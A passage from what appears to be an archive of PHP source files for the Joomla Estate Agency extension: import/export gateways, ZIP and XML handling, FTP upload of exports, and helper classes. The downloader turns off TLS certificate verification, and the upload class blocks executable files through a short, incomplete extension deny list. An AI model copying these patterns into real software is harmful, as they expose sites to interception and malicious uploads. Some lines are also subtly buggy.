			JFolder::create($cachePath);
		}

		if (!JFolder::exists($cachePath))
		{
			throw RuntimeException("Cache directory : $cachePath cannot be
created.");
		}

		return $cachePath;
	}

	/**
	 * Parse an xml file
	 *
	 * @param   string  $xmlFile  The xml file path
	 *
	 * @return  SimpleXMLElement
	 *
	 * @throws Exception if xml cannot be parsed
	 */
	protected function parseXmlFile($xmlFile = '')
	{
		// Disable libxml errors and allow to fetch error information as needed
		libxml_use_internal_errors(true);

		$xml = simplexml_load_file($xmlFile, 'SimpleXMLElement',
LIBXML_PARSEHUGE);

		if (! $xml)
		{
			$msg = "Cannot load : $xmlFile. ";
			$errors = libxml_get_errors();

			foreach ($errors as $error)
			{
				switch ($error->level)
				{
					case LIBXML_ERR_WARNING:
						$msg .= "Warning $error->code: ";
						break;
					case LIBXML_ERR_ERROR:
						$msg .= "Err Error $error->code: ";
						break;
					case LIBXML_ERR_FATAL:
						$msg .= "Fatal Error $error->code: ";
						break;
				}

				$msg .= trim($error->message) . " - Line: $error->line -
Column: $error->column";

				if ($error->file)
				{
					$msg .= "  File: $error->file";
				}
			}

			libxml_clear_errors();
			throw new Exception($msg, $error->code);
		}

		return $xml;
	}

	/**
	 * Download a file and return the file as local file path
	 *
	 * @param   string  $url       The file url to download
	 * @param   string  $destFile  Optionnal file destination name
	 *
	 * @return  string  the downloaded file destination name
	 */
	protected function downloadFile($url, $destFile = '')
	{
		if (empty($destFile))
		{
			$cachePath = $this->getCachePath(true);
			$fileName = JFilterOutput::stringUrlSafe(basename($url));

			if (strlen($fileName) > 20)
			{
				$fileName = substr($fileName, 0, 20);
			}

			$destFile = $cachePath . '/' . $fileName;
		}

		if (JFile::exists($destFile))
		{
			JFile::delete($destFile);
		}

		$ch = curl_init();

		curl_setopt($ch, CURLOPT_URL, $url);

		// Don't check SSL certificate
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
		curl_setopt($ch, CURLOPT_HEADER, false);

		$data = curl_exec($ch);

		if ($data === false)
		{
			$errno = curl_errno($ch);
			$error = curl_error($ch);
			$msg = "Cannot download $url. Error code : $errno, Message :
$error";
			$this->log($msg, 'ERR');
			throw new RuntimeException($msg);
		}

		curl_close($ch);

		JFile::write($destFile, $data);

		return $destFile;
	}
}
gateways/export.php000064400000007764151165726350010453 0ustar00<?php
/**
 * This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
 *
 * @package     Joomla.Administrator
 * @subpackage  com_jea
 * @copyright   Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;

require_once JPATH_COMPONENT_ADMINISTRATOR .
'/gateways/gateway.php';

/**
 * The base class for export gateways
 *
 * @since  3.4
 */
abstract class JeaGatewayExport extends JeaGateway
{
	/**
	 * Site base url
	 *
	 * @var string
	 */
	protected $baseUrl = '';

	/**
	 * Constructor
	 *
	 * @param   object  $subject   The object to observe
	 * @param   array   $config    An optional associative array of
configuration settings.
	 */
	public function __construct(&$subject, $config = array())
	{
		$application = JFactory::getApplication();

		if (defined('BASE_URL'))
		{
			$this->baseUrl = BASE_URL;
		}

		if ($application instanceof JApplicationWeb)
		{
			$this->baseUrl = JUri::root();
		}

		parent::__construct($subject, $config);
	}

	/**
	 * This method must be implemented by child class
	 *
	 * @return  array containg export summary data
	 */
	abstract public function export();

	/**
	 * Get all JEA properties
	 *
	 * @param   boolean  $published  If true, get only published properties
	 *
	 * @return  array
	 */
	protected function getJeaProperties($published = true)
	{
		$db = JFactory::getDbo();

		$query = 'SELECT p.*, t.value AS town, ht.value AS
heating_type'
				. ', hwt.value AS hot_water_type, d.value AS department'
				. ', a.value AS `area`, s.value AS slogan, c.value AS `condition`,
type.value AS type' . PHP_EOL
				. 'FROM #__jea_properties AS p' . PHP_EOL
				. 'LEFT JOIN #__jea_towns AS t ON t.id = p.town_id' . PHP_EOL
				. 'LEFT JOIN #__jea_departments AS d ON d.id =
p.department_id' . PHP_EOL
				. 'LEFT JOIN #__jea_areas AS a ON a.id = p.area_id' . PHP_EOL
				. 'LEFT JOIN #__jea_heatingtypes AS ht ON ht.id =
p.heating_type' . PHP_EOL
				. 'LEFT JOIN #__jea_hotwatertypes AS hwt ON hwt.id =
p.heating_type' . PHP_EOL
				. 'LEFT JOIN #__jea_types AS type ON type.id = p.type_id' .
PHP_EOL
				. 'LEFT JOIN #__jea_conditions AS c ON c.id = p.condition_id'
. PHP_EOL
				. 'LEFT JOIN #__jea_slogans AS s ON s.id = p.slogan_id' .
PHP_EOL;

		if ($published)
		{
			$query .= 'WHERE p.published = 1';
		}

		$db->setQuery($query);
		$properties = $db->loadAssocList();

		$db->setQuery('SELECT `id`, `value` FROM #__jea_amenities');
		$amenities = $db->loadObjectList('id');

		$unsets = array(
			'asset_id',
			'town_id',
			'area_id',
			'department_id',
			'slogan_id',
			'published',
			'access',
			'publish_up',
			'publish_down',
			'checked_out',
			'checked_out_time',
			'created_by',
			'hits'
		);

		foreach ($properties as &$property)
		{
			foreach ($unsets as $key)
			{
				if (isset($property[$key]))
				{
					unset($property[$key]);
				}
			}

			$exp = explode('-', $property['amenities']);
			$tmp = array();

			foreach ($exp as $id)
			{
				if (isset($amenities[$id]))
				{
					$tmp[$id] = $amenities[$id]->value;
				}
			}

			$property['amenities'] = $tmp;
			$property['images'] = $this->getImages((object) $property);
		}

		return $properties;
	}

	/**
	 * Get pictures of a property
	 *
	 * @param   object  $row  The property DB row
	 *
	 * @return  array
	 */
	private function getImages($row)
	{
		$result = array();
		$images = json_decode($row->images);

		if (empty($images) && ! is_array($images))
		{
			return $result;
		}

		$imgDir = 'images/com_jea/images/' . $row->id;

		if (! JFolder::exists(JPATH_ROOT . '/' . $imgDir))
		{
			return $result;
		}

		foreach ($images as $image)
		{
			$path = JPATH_ROOT . '/' . $imgDir . '/' .
$image->name;

			if (JFile::exists($path))
			{
				$result[] = array(
						'path' => $path,
						'url' => $this->baseUrl . $imgDir . '/' .
$image->name,
						'name' => $image->name,
						'title' => $image->title,
						'description' => $image->description
				);
			}
		}

		return $result;
	}
}
gateways/providers/jea/import.xml000064400000001477151165726350013224
0ustar00<?xml version="1.0" encoding="UTF-8"?>

<form>
	<fields name="params">
		<field name="import_directory" type="text"
size="50" default=""
			label="COM_JEA_FIELD_IMPORT_DIRECTORY_LABEL"
description="COM_JEA_FIELD_IMPORT_DIRECTORY_DESC" />

		<field name="auto_deletion" type="radio"
default="0" class="btn-group"
			label="COM_JEA_FIELD_AUTO_DELETE_PROPERTIES_LABEL"
description="COM_JEA_FIELD_AUTO_DELETE_PROPERTIES_DESC">
			<option value="0">JNO</option>
			<option value="1">JYES</option>
		</field>

		<field name="import_user" type="user"
label="COM_JEA_FIELD_IMPORT_USER_LABEL"
			description="COM_JEA_FIELD_IMPORT_USER_DESC" />

		<field name="properties_per_step" type="text"
size="4" default="5"
			label="COM_JEA_FIELD_PROPERTIES_PER_STEP_LABEL"
description="COM_JEA_FIELD_PROPERTIES_PER_STEP_DESC" />
	</fields>
</form>
gateways/providers/jea/export.xml000064400000002640151165726350013224
0ustar00<?xml version="1.0" encoding="UTF-8"?>

<form>
	<fields name="params">
		<field name="export_directory" type="text"
default="tmp"
label="COM_JEA_FIELD_EXPORT_DIRECTORY_LABEL"
description="COM_JEA_FIELD_EXPORT_DIRECTORY_DESC"
size="60" />
		<field name="export_images" type="list"
label="COM_JEA_FIELD_EXPORT_IMAGE_AS_LABEL"
description="COM_JEA_FIELD_EXPORT_IMAGE_AS_DESC"
default="url" class="chzn-color">
			<option value="url">COM_JEA_OPTION_URL</option>
			<option value="file">COM_JEA_OPTION_FILE</option>
		</field>
		<field name="zip_name" type="text"
default="jea_export_{{date}}.zip"
label="COM_JEA_FIELD_ZIP_NAME_LABEL"
description="COM_JEA_FIELD_ZIP_NAME_DESC" size="60"
/>
		<field name="send_by_ftp" type="radio"
label="COM_JEA_FIELD_SEND_OVER_FTP_LABEL"
description="COM_JEA_FIELD_SEND_OVER_FTP_DESC"
default="0" class="btn-group">
			<option value="0">JNO</option>
			<option value="1">JYES</option>
		</field>
		<field name="ftp_host" type="text"
default="" label="COM_JEA_FIELD_FTP_HOST_LABEL"
description="COM_JEA_FIELD_FTP_HOST_DESC"
class="inputbox" size="60" />
		<field name="ftp_username" type="text"
default="" label="COM_JEA_FIELD_FTP_USERNAME_LABEL"
description="COM_JEA_FIELD_FTP_USERNAME_DESC"
class="inputbox" size="60" />
		<field name="ftp_password" type="text"
default="" label="COM_JEA_FIELD_FTP_PASSWORD_LABEL"
description="COM_JEA_FIELD_FTP_PASSWORD_DESC"
class="inputbox" size="60" />
	</fields>
</form>
gateways/providers/jea/import.php000064400000010437151165726350013207
0ustar00<?php
/**
 * This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
 *
 * @package     Joomla.Administrator
 * @subpackage  com_jea
 * @copyright   Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;

require_once JPATH_COMPONENT_ADMINISTRATOR .
'/gateways/import.php';
require_once JPATH_COMPONENT_ADMINISTRATOR .
'/models/propertyInterface.php';

/**
 * The import class for JEA gateway provider
 *
 * @since  3.4
 */
class JeaGatewayImportJea extends JeaGatewayImport
{
	/**
	 * The gateway parser method.
	 *
	 * @return JEAPropertyInterface[]
	 */
	protected function &parse()
	{
		// @var JEAPropertyInterface[] $properties
		$properties = array();
		$importDir = $this->params->get('import_directory');

		if (! JFolder::exists($importDir))
		{
			// Maybe a relative path to Joomla ?
			if (! JFolder::exists(JPATH_ROOT . '/' . trim($importDir,
'/')))
			{
				throw new
Exception(JText::sprintf('COM_JEA_GATEWAY_ERROR_IMPORT_DIRECTORY_NOT_FOUND',
$importDir));
			}

			$importDir = JPATH_ROOT . '/' . trim($importDir,
'/');
		}

		$tmpDirs = $this->extractZips($importDir);

		if (empty($tmpDirs))
		{
			return $properties;
		}

		foreach ($tmpDirs as $dir)
		{
			$xmlFiles = JFolder::files($dir, '.(xml|XML)$', false, true);

			if (empty($xmlFiles))
			{
				continue;
			}

			$xmlFile = array_shift($xmlFiles);
			$this->parseXML($properties, $xmlFile);
		}

		return $properties;
	}

	/**
	 * Extract Zip files and return extracting directories
	 *
	 * @param   string  $importDir  The directory where to find zip files
	 *
	 * @return  array
	 */
	protected function extractZips($importDir)
	{
		$tmpDirs = array();
		$tmpPath = JFactory::getConfig()->get('tmp_path');

		// Find zip files
		$zips = JFolder::files($importDir, '.(zip|ZIP)$', false, true);

		if (empty($zips))
		{
			throw new
Exception(JText::sprintf('COM_JEA_GATEWAY_ERROR_IMPORT_NO_ZIP_FOUND',
$importDir));
		}

		// Extract zips
		foreach ($zips as $zipfile)
		{
			$tmpDir = $tmpPath . '/' . basename($zipfile);

			if (! JFolder::create($tmpDir))
			{
				throw new
Exception(JText::sprintf('COM_JEA_ERROR_CANNOT_CREATE_DIR',
$tmpDir));
			}

			$tmpDirs[] = $tmpDir;

			if (! JArchive::extract($zipfile, $tmpDir))
			{
				throw new
Exception(JText::sprintf('COM_JEA_GATEWAY_ERROR_CANNOT_EXTRACT_ZIP',
$zipfile));
			}
		}

		return $tmpDirs;
	}

	/**
	 * Xml parser
	 *
	 * @param   array   $properties   Will be filled with JEAPropertyInterface
instances
	 * @param   string  $xmlFile      The xml file path
	 *
	 * @return  void
	 *
	 * @throws Exception if xml cannot be parsed
	 */
	protected function parseXML(&$properties, $xmlFile = '')
	{
		$xml = $this->parseXmlFile($xmlFile);
		$currentDirectory = dirname($xmlFile);

		// Check root tag
		if ($xml->getName() != 'jea')
		{
			throw new Exception("$xmlFile is not an export from JEA");
		}

		$children = $xml->children();

		foreach ($children as $child)
		{
			if ($child->getName() != 'property')
			{
				continue;
			}

			$fields = $child->children();
			$property = new JEAPropertyInterface;

			$ref = (string) $child->ref;

			// Ref must be unique
			if (isset($properties[$ref]))
			{
				$ref .= '-' . (string) $child->id;
			}

			foreach ($fields as $field)
			{
				$fieldName = $field->getName();

				if ($fieldName == 'id')
				{
					continue;
				}

				if ($fieldName == 'images')
				{
					$images = $field->children();

					foreach ($images as $image)
					{
						if (JFile::exists($currentDirectory . '/' .
$image->name))
						{
							$property->images[] = $currentDirectory . '/' .
$image->name;
						}
					}

					continue;
				}

				if ($fieldName == 'amenities')
				{
					$amenities = $field->children();

					foreach ($amenities as $amenity)
					{
						$property->amenities[] = (string) $amenity;
					}

					continue;
				}

				$value = (string) $field;

				if ($fieldName == 'ref')
				{
					$value = $ref;
				}

				// Filter values
				if (ctype_digit($value))
				{
					$value = (int) $value;
				}

				if (property_exists($property, $fieldName))
				{
					$property->$fieldName = $value;
				}
				else
				{
					$property->addAdditionalField($fieldName, $value);
				}
			}

			$properties[$ref] = $property;
		}
	}
}
gateways/providers/jea/export.php000064400000014573151165726350013223
0ustar00<?php
/**
 * This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
 *
 * @package     Joomla.Administrator
 * @subpackage  com_jea
 * @copyright   Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Archive\Archive;
use Joomla\CMS\Client\FtpClient;

require_once JPATH_COMPONENT_ADMINISTRATOR .
'/gateways/export.php';

/**
 * The export class for JEA gateway provider
 *
 * @since  3.4
 */
class JeaGatewayExportJea extends JeaGatewayExport
{
	/**
	 * The directory where to write data
	 *
	 * @var string
	 */
	protected $exportDirectory = '';

	/**
	 * Get the export directory path
	 *
	 * @throws Exception if directory is not found
	 *
	 * @return string The export dir
	 */
	protected function getExportDirectory()
	{
		if (empty($this->exportDirectory))
		{
			$dir = $this->params->get('export_directory');

			if (! JFolder::exists($dir))
			{
				// Try to create dir into joomla root dir
				$dir = JPATH_ROOT . '/' . trim($dir, '/');

				if (JFolder::exists(basename($dir)) && ! JFolder::create($dir))
				{
					throw new
Exception(JText::sprintf('COM_JEA_GATEWAY_ERROR_EXPORT_DIRECTORY_CANNOT_BE_CREATED',
$dir));
				}
			}

			$this->exportDirectory = $dir;
		}

		return $this->exportDirectory;
	}

	/**
	 * Create the zip file
	 *
	 * @param   string  $filename  The zipfile path to create.
	 * @param   array   $files     A set of files to be included into the
zipfile.
	 *
	 * @throws  Exception if zip file cannot be created
	 * @return  void
	 */
	protected function createZip($filename, &$files)
	{
		$zipAdapter = (new Archive)->getAdapter('zip');

		if (!@$zipAdapter->create($filename, $files))
		{
			throw new
Exception(JText::sprintf('COM_JEA_GATEWAY_ERROR_ZIP_CREATION',
$filename));
		}

		$this->log("Zip creation : $filename");
	}

	/**
	 * Build XML
	 *
	 * @param   string|array  $data         The data to convert
	 * @param   string        $elementName  The element name
	 *
	 * @return  DOMDocument|DOMElement
	 */
	protected function buildXMl(&$data, $elementName = '')
	{
		static $doc;

		$rootName = 'jea';

		if ($elementName == $rootName)
		{
			$doc = new DOMDocument('1.0', 'utf-8');
		}

		$element = $doc->createElement($elementName);

		if (is_array($data))
		{
			foreach ($data as $key => $value)
			{
				if (is_int($key))
				{
					$childsName = array(
							$rootName => 'property',
							'amenities' => 'amenity',
							'images' => 'image'
					);

					if (! isset($childsName[$elementName]))
					{
						continue;
					}

					$key = $childsName[$elementName];
				}

				$child = $this->buildXMl($value, $key);
				$element->appendChild($child);
			}
		}
		else
		{
			$text = ctype_alnum($data) ? $doc->createTextNode((string) $data) :
$doc->createCDATASection((string) $data);
			$element->appendChild($text);
		}

		if ($elementName == $rootName)
		{
			$doc->appendChild($element);

			return $doc;
		}

		return $element;
	}

	/**
	 * Send File over FTP
	 *
	 * @param   string  $file  The file to send
	 *
	 * @throws Exception if FTP transfer fails
	 * @return  void
	 */
	protected function ftpSend($file)
	{
		$ftpClient = new FtpClient(array('timeout' => 5,
'type' => FTP_BINARY));

		if
(!$ftpClient->connect($this->params->get('ftp_host')))
		{
			throw new
Exception(JText::sprintf('COM_JEA_GATEWAY_ERROR_FTP_UNABLE_TO_CONNECT_TO_HOST',
$this->params->get('ftp_host')));
		}

		if
(!$ftpClient->login($this->params->get('ftp_username'),
$this->params->get('ftp_password')))
		{
			throw new
Exception(JText::_('COM_JEA_GATEWAY_ERROR_FTP_UNABLE_TO_LOGIN'));
		}

		if (!$ftpClient->store($file))
		{
			throw new
Exception(JText::_('COM_JEA_GATEWAY_ERROR_FTP_UNABLE_TO_SEND_FILE'));
		}

		$ftpClient->quit();
	}

	/**
	 * InitWebConsole event handler
	 *
	 * @return void
	 */
	public function initWebConsole()
	{
		JHtml::script('media/com_jea/js/gateway-jea.js', true);
		$title = addslashes($this->title);

		// Register script messages
		JText::script('COM_JEA_EXPORT_START_MESSAGE', true);
		JText::script('COM_JEA_EXPORT_END_MESSAGE', true);
		JText::script('COM_JEA_GATEWAY_FTP_TRANSFERT_SUCCESS', true);
		JText::script('COM_JEA_GATEWAY_DOWNLOAD_ZIP', true);

		$document = JFactory::getDocument();
		$script = "jQuery(document).on('registerGatewayAction',
function(event, webConsole, dispatcher) {"
				. "    dispatcher.register(function() {"
				. "        JeaGateway.startExport($this->id,
'$title', webConsole);"
				. "    });"
				. "});";
		$document->addScriptDeclaration($script);
	}

	/**
	 * The export event handler
	 *
	 * @return array  An array containing the response model
	 */
	public function export()
	{
		$dir = $this->getExportDirectory();
		$xmlFile = $dir . '/export.xml';
		$zipName = $this->params->get('zip_name',
'jea_export_{{date}}.zip');
		$zipName = str_replace('{{date}}',
date('Y-m-d-H:i:s'), $zipName);
		$zipFile = $dir . '/' . $zipName;
		$zipUrl = rtrim($this->baseUrl, '/') .
str_replace(JPATH_ROOT, '', $dir) . '/' . $zipName;

		$files = array();

		$properties = $this->getJeaProperties();

		$exportImages = $this->params->get('export_images');

		foreach ($properties as &$property)
		{
			foreach ($property['images'] as &$image)
			{
				if ($exportImages == 'file')
				{
					$name = $property['id'] . '_' .
basename($image['path']);

					$files[] = array(
						'data' => file_get_contents($image['path']),
						'name' => $name
					);

					$image['name'] = $name;
					unset($image['url']);
				}

				unset($image['path']);
			}
		}

		// Init $xmlFile before DOMDocument::save()
		JFile::write($xmlFile, '');

		$xml = $this->buildXMl($properties, 'jea');
		$xml->formatOutput = true;
		$xml->save($xmlFile);

		$files[] = array(
			'data' => file_get_contents($xmlFile),
			'name' => 'export.xml'
		);

		$this->createZip($zipFile, $files);

		$response = array(
			'exported_properties' => count($properties),
			'zip_url' => $zipUrl,
			'ftp_sent' => false
		);

		$message = JText::_('COM_JEA_EXPORT_END_MESSAGE');
		$message = str_replace(
			array('{title}', '{count}'),
			array($this->title, $response['exported_properties']),
			$message
		);

		if ($this->params->get('send_by_ftp') == '1')
		{
			$this->ftpSend($zipFile);
			$response['ftp_sent'] = true;
			$message .= ' ' .
JText::_('COM_JEA_GATEWAY_FTP_TRANSFERT_SUCCESS');
		}

		$this->out($message);
		$this->log($message);

		return $response;
	}
}
helpers/jea.php000064400000005437151165726350007502 0ustar00<?php
/**
 * This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
 *
 * @package     Joomla.Administrator
 * @subpackage  com_jea
 * @copyright   Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Jea Helper class
 *
 * @package     Joomla.Administrator
 * @subpackage  com_jea
 *
 * @since       2.0
 */
class JeaHelper
{
	/**
	 * Configure the Linkbar.
	 *
	 * @param   string  $viewName  The name of the active view.
	 *
	 * @return  void
	 */
	public static function addSubmenu($viewName)
	{
		$db = JFactory::getDbo();
		$query = $db->getQuery(true);
		$query->select('m.*')
			->from('#__menu AS m')
			->innerJoin('#__menu AS m2 ON m.parent_id = m2.id')
			->where("m2.link='index.php?option=com_jea'")
			->order('id ASC');

		$db->setQuery($query);
		$items = $db->loadObjectList();

		foreach ($items as $item)
		{
			$active = false;

			switch ($item->title)
			{
				case 'com_jea_properties':
					$item->title = 'COM_JEA_PROPERTIES_MANAGEMENT';
					break;
				case 'com_jea_features':
					$item->title = 'COM_JEA_FEATURES_MANAGEMENT';
					break;
			}

			$matches = array();

			if (preg_match('#&view=([a-z]+)#', $item->link,
$matches))
			{
				$active = $matches[1] == $viewName;
			}

			JHtmlSidebar::addEntry(JText::_($item->title), $item->link,
$active);
		}

		JHtmlSidebar::addEntry(
			JText::_('COM_JEA_ABOUT'),
			'index.php?option=com_jea&view=about',
			$viewName == 'about'
		);
	}

	/**
	 * Gets a list of actions that can be performed.
	 *
	 * @param   int  $propertyId  The property ID.
	 *
	 * @return  Jobject
	 */
	public static function getActions($propertyId = 0)
	{
		$user = JFactory::getUser();
		$result = new JObject;

		if (empty($propertyId))
		{
			$assetName = 'com_jea';
		}
		else
		{
			$assetName = 'com_jea.property.' . (int) $propertyId;
		}

		$actions = array(
				'core.admin',
				'core.manage',
				'core.create',
				'core.edit',
				'core.edit.own',
				'core.edit.state',
				'core.delete'
		);

		foreach ($actions as $action)
		{
			$result->set($action, $user->authorise($action, $assetName));
		}

		return $result;
	}

	/**
	 * Gets the list of tools icons.
	 *
	 * @return array  A button list
	 */
	public static function getToolsIcons()
	{
		$db = JFactory::getDbo();

		$query = $db->getQuery(true);
		$query->select(array('link', 'title AS text',
'icon AS image', 'access'));
		$query->from('#__jea_tools');
		$query->order('id ASC');
		$db->setQuery($query);
		$buttons = $db->loadAssocList();

		foreach ($buttons as &$button)
		{
			$button['text'] = JText::_($button['text']);

			if (!empty($button['access']))
			{
				$button['access'] = json_decode($button['access']);
			}
		}

		return $buttons;
	}
}
helpers/utility.php000064400000002230151165726350010432 0ustar00<?php
/**
 * This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
 *
 * @package     Joomla.Administrator
 * @subpackage  com_jea
 * @copyright   Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Utility class helper.
 *
 * @package     Joomla.Administrator
 * @subpackage  com_jea
 *
 * @since       2.0
 */
class JeaHelperUtility
{
	/**
	 * Transform an array to csv strng
	 *
	 * @param   array  $data  An array of data
	 *
	 * @return  string CSV formatted
	 */
	public static function arrayToCSV($data)
	{
		$outstream = fopen("php://temp", 'r+');
		fputcsv($outstream, $data, ';', '"');
		rewind($outstream);
		$csv = fgets($outstream);
		fclose($outstream);

		return $csv;
	}

	/**
	 * Transform csv to array
	 *
	 * @param   string  $data  The CSV string
	 *
	 * @return  array
	 */
	protected function CSVToArray($data)
	{
		$instream = fopen("php://temp", 'r+');
		fwrite($instream, $data);
		rewind($instream);
		$csv = fgetcsv($instream, 9999999, ';', '"');
		fclose($instream);

		return $csv;
	}
}
helpers/upload.php000064400000014521151165726350010221 0ustar00<?php
/**
 * This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
 *
 * @package     Joomla.Administrator
 * @subpackage  com_jea
 * @copyright   Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Filesystem\File;
use Joomla\CMS\Filesystem\Folder;

/**
 * Upload class helper.
 *
 * @package     Joomla.Administrator
 * @subpackage  com_jea
 *
 * @since       2.0
 */
class JeaUpload
{
	/**
	 * The upload key
	 * (ex: $files[0][{picture}] or $files[0][{1}] or $files[0][{picture1}])
	 *
	 * @var string
	 */
	public $key = '';

	/**
	 * @var string
	 */
	public $name = '';

	/**
	 * @var string
	 */
	public $temp_name = '';

	/**
	 * @var string
	 */
	public $type = '';

	/**
	 * @var integer
	 */
	public $error;

	/**
	 * Errors list
	 *
	 * @var array
	 */
	protected $errors = array();

	/**
	 * It's a common security risk in pages who has the upload dir
	 * under the document root
	 *
	 * @var  array
	 * @see  JeaUpload::setValidExtensions()
	 */
	protected $extensionsCheck = array();

	/**
	 * @var  string
	 * @see  JeaUpload::setValidExtensions()
	 */
	protected $extensionsMode = 'deny';

	/**
	 * Constructor
	 *
	 * @param   array  $params  File upload infos (given by $_FILES)
	 */
	public function __construct($params)
	{
		$this->name      = isset($params['name']) ?
$params['name'] : '';
		$this->temp_name = isset($params['tmp_name']) ?
$params['tmp_name'] : '';
		$this->type      = isset($params['type']) ?
$params['type'] : '';
		$this->error     = isset($params['error']) ? (int)
$params['error'] : UPLOAD_ERR_NO_FILE;

		$this->extensionsCheck = array('php', 'phtm',
'phtml', 'php3', 'inc');
	}

	/**
	 * Return one or multiple instances of JeaUpload
	 *
	 * @param   string  $name  The name of the posted file
	 *
	 * @return mixed
	 */
	public static function getUpload($name = '')
	{
		if (!isset($_FILES[$name]))
		{
			throw new \RuntimeException('No file with name ' . $name .
' was posted.');
		}

		$rawUploaded = $_FILES[$name];

		if (is_array($rawUploaded['name']))
		{
			$fields = array(
				'name',
				'type',
				'tmp_name',
				'error',
				'size'
			);

			$arrUploaded = array();
			$keys = array_keys($rawUploaded['name']);

			foreach ($keys as $key)
			{
				$params = array();

				foreach ($fields as $field)
				{
					$params[$field] = $rawUploaded[$field][$key];
				}

				$uploaded = new JeaUpload($params);
				$uploaded->key = $key;
				$arrUploaded[] = $uploaded;
			}

			return $arrUploaded;
		}
		else
		{
			// Single post
			$uploaded = new JeaUpload($rawUploaded);
			$uploaded->key = $name;

			return $uploaded;
		}
	}

	/**
	 * Verify if the file was uploaded
	 *
	 * @return boolean
	 */
	public function isPosted()
	{
		if ($this->error === UPLOAD_ERR_NO_FILE)
		{
			return false;
		}

		return true;
	}

	/**
	 * Check errors
	 *
	 * @return JeaUpload
	 */
	public function check()
	{
		if ($this->error !== UPLOAD_ERR_OK)
		{
			switch ($this->error)
			{
				case UPLOAD_ERR_INI_SIZE:
				case UPLOAD_ERR_FORM_SIZE:
					$this->errors[] = 'COM_JEA_UPLOAD_ERR_SIZE';
					break;
				case UPLOAD_ERR_PARTIAL:
					$this->errors[] = 'COM_JEA_UPLOAD_ERR_PARTIAL';
					break;
				case UPLOAD_ERR_NO_TMP_DIR:
					$this->errors[] = 'COM_JEA_UPLOAD_ERR_NO_TMP_DIR';
					break;
				case UPLOAD_ERR_CANT_WRITE:
					$this->errors[] = 'COM_JEA_UPLOAD_ERR_CANT_WRITE';
					break;
				default:
					$this->errors[] = 'COM_JEA_UPLOAD_UNKNOWN_ERROR';
			}
		}

		// Valid extensions check
		if (! $this->_evalValidExtensions())
		{
			$this->errors[] =
'COM_JEA_UPLOAD_FILE_EXTENSION_NOT_PERMITTED';
		}

		return $this;
	}

	/**
	 * Get the errors list
	 *
	 * @return array
	 */
	public function getErrors()
	{
		return $this->errors;
	}

	/**
	 * Set the file name
	 *
	 * @param   string  $name  The file name
	 *
	 * @return  JeaUpload
	 */
	public function setName($name)
	{
		// Verify extention before change the filename
		if ($this->_evalValidExtensions())
		{
			$this->name = $name;
		}

		return $this;
	}

	/**
	 * Moves the uploaded file to its destination directory.
	 *
	 * @param   string   $dir        Destination directory
	 * @param   boolean  $overwrite  Overwrite if destination file exists?
	 *
	 * @return  boolean true on success or false on error
	 */
	public function moveTo($dir = '', $overwrite = true)
	{
		$this->check();

		if (!Folder::exists($dir))
		{
			$this->errors[] =
'COM_JEA_UPLOAD_DESTINATION_DIRECTORY_DOESNT_EXISTS';
		}

		if (! is_writable($dir))
		{
			$this->errors[] =
'COM_JEA_UPLOAD_DESTINATION_DIRECTORY_NOT_WRITABLE';
		}

		$file = $dir . '/' . $this->name;

		if (File::exists($file))
		{
			if ($overwrite === false)
			{
				$this->errors[] =
'COM_JEA_UPLOAD_DESTINATION_FILE_ALREADY_EXISTS';
			}
			elseif (! is_writable($file))
			{
				$this->errors[] =
'COM_JEA_UPLOAD_DESTINATION_FILE_NOT_WRITABLE';
			}
		}

		if (empty($this->errors))
		{
			return File::upload($this->temp_name, $file);
		}

		return false;
	}

	/**
	 * Format file name to be safe
	 *
	 * @param   integer  $maxlen  Maximun permited string lenght
	 *
	 * @return  JeaUpload
	 */
	public function nameToSafe($maxlen = 250)
	{
		$this->name = substr($this->name, 0, $maxlen);
		$this->name = File::makeSafe($this->name);
		$this->name = preg_replace('/\s+/', '-',
$this->name);

		return $this;
	}

	/**
	 * Function to restrict the valid extensions on file uploads
	 *
	 * @param   array   $exts  File extensions to validate
	 * @param   string  $mode  The type of validation :
	 *                  1) 'deny'   Will deny only the supplied
extensions
	 *                  2) 'accept' Will accept only the supplied
extensions as valid
	 *
	 * @return JeaUpload
	 */
	public function setValidExtensions($exts, $mode = 'accept')
	{
		$this->extensionsCheck = $exts;
		$this->extensionsMode = $mode;

		return $this;
	}

	/**
	 * Evaluates the validity of the extensions set by setValidExtensions
	 *
	 * @return boolean false on non valid extensions, true if they are valid
	 */
	protected function _evalValidExtensions()
	{
		$extension = File::getExt($this->name);

		if ($this->extensionsMode == 'deny')
		{
			if (! in_array($extension, $this->extensionsCheck))
			{
				return true;
			}
		}
		else
		{
			if (in_array($extension, $this->extensionsCheck))
			{
				return true;
			}
		}

		return false;
	}
}
helpers/html/features.php000064400000017265151165726350011527
0ustar00<?php
/**
 * This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
 *
 * @package     Joomla.Administrator
 * @subpackage  com_jea
 * @copyright   Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Fatures html helper class.
 *
 * @package     Joomla.Administrator
 * @subpackage  com_jea
 *
 * @since       2.0
 */
abstract class JHtmlFeatures
{
	/**
	 * Method to get property types in a HTML <select> element
